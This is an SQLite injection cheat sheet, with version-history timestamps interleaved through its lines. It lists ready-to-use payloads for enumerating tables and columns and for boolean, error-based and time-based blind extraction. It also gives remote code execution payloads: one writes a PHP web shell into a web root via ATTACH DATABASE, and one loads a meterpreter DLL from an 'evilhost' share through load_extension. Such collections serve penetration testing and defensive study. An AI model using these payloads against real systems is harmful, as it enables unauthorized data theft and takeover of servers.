2017-02-21 08:16:51 +00:00
# SQLite Injection
2016-11-29 16:27:35 +00:00
2024-11-10 19:49:52 +00:00
> SQLite Injection is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.
2019-10-29 13:52:49 +00:00
## Summary
2024-11-10 19:49:52 +00:00
* [SQLite Comments ](#sqlite-comments )
* [SQLite Version ](#sqlite-version )
* [String Based - Extract Database Structure ](#string-based---extract-database-structure )
* [Integer/String Based - Extract Table Name ](#integerstring-based---extract-table-name )
* [Integer/String Based - Extract Column Name ](#integerstring-based---extract-column-name )
* [Boolean - Count Number Of Tables ](#boolean---count-number-of-tables )
* [Boolean - Enumerating Table Name ](#boolean---enumerating-table-name )
* [Boolean - Extract Info ](#boolean---extract-info )
* [Boolean - Error Based ](#boolean---error-based )
* [Time Based ](#time-based )
2024-11-07 19:54:16 +00:00
* [Remote Code Execution ](#remote-code-execution )
* [Attach Database ](#attach-database )
* [Load_extension ](#load_extension )
2019-10-29 13:52:49 +00:00
* [References ](#references )
2024-11-03 13:06:53 +00:00
2024-11-10 19:49:52 +00:00
## SQLite Comments
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
--
/**/
2018-03-12 08:17:31 +00:00
```
2018-05-16 21:33:14 +00:00
2024-11-10 19:49:52 +00:00
## SQLite Version
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
select sqlite_version();
```
2017-02-21 08:16:51 +00:00
2024-11-10 19:49:52 +00:00
## String Based - Extract Database Structure
2021-12-07 06:51:27 +00:00
```sql
SELECT sql FROM sqlite_schema
```
2024-04-01 17:46:09 +00:00
if sqlite_version > 3.33.0
```sql
SELECT sql FROM sqlite_master
```
2024-11-10 19:49:52 +00:00
## Integer/String Based - Extract Table Name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2023-07-16 15:44:00 +00:00
SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
2017-02-21 08:16:51 +00:00
```
2018-08-12 21:30:22 +00:00
2024-11-10 19:49:52 +00:00
## Integer/String Based - Extract Column Name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2020-11-18 00:59:11 +00:00
SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'
2017-02-21 08:16:51 +00:00
```
For a clean output
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2017-02-21 08:16:51 +00:00
SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,instr(sql,'(')%2b1)),'')),"TEXT",''),"INTEGER",''),"AUTOINCREMENT",''),"PRIMARY KEY",''),"UNIQUE",''),"NUMERIC",''),"REAL",''),"BLOB",''),"NOT NULL",''),",",'~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='table_name'
```
2023-08-25 10:24:52 +00:00
Cleaner output
```sql
SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');
```
2024-11-10 19:49:52 +00:00
## Boolean - Count Number Of Tables
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2017-02-21 08:16:51 +00:00
and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
```
2024-11-10 19:49:52 +00:00
## Boolean - Enumerating Table Name
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2017-02-21 08:16:51 +00:00
and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
```
2024-11-10 19:49:52 +00:00
## Boolean - Extract Info
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2017-02-21 08:16:51 +00:00
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
```
2024-11-10 19:49:52 +00:00
### Boolean - Extract Info (order by)
2022-08-13 04:22:54 +00:00
```sql
CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('some_char') THEN < order_element_1 > ELSE < order_element_2 > END
```
2024-11-10 19:49:52 +00:00
## Boolean - Error Based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2022-09-07 12:02:38 +00:00
AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
2016-11-29 16:27:35 +00:00
```
2022-08-13 04:22:54 +00:00
2024-11-10 19:49:52 +00:00
## Time Based
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
2016-11-29 16:27:35 +00:00
```
2018-05-16 21:33:14 +00:00
2022-09-07 12:02:38 +00:00
2024-11-07 19:54:16 +00:00
## Remote Code Execution
### Attach Database
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2018-03-12 08:17:31 +00:00
ATTACH DATABASE '/var/www/lol.php' AS lol;
2016-11-29 16:27:35 +00:00
CREATE TABLE lol.pwn (dataz text);
2022-05-15 11:53:50 +00:00
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?> ");--
2016-11-29 16:27:35 +00:00
```
2024-11-07 19:54:16 +00:00
### Load_extension
2018-08-12 21:30:22 +00:00
2018-05-16 21:33:14 +00:00
```sql
2016-11-29 16:27:35 +00:00
UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
```
2018-08-12 21:30:22 +00:00
2024-11-10 19:49:52 +00:00
Note: By default this component is disabled.
2017-02-21 08:16:51 +00:00
2024-11-03 13:06:53 +00:00
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
2024-11-03 13:06:53 +00:00
* [Injecting SQLite database based application - Manish Kishan Tanwar - February 14, 2017 ](https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf )
* [SQLite Error Based Injection for Enumeration - Rio Asmara Suryadi - February 6, 2021 ](https://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/ )
* [SQLite3 Injection Cheat sheet - Nickosaurus Hax - May 31, 2012 ](https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet )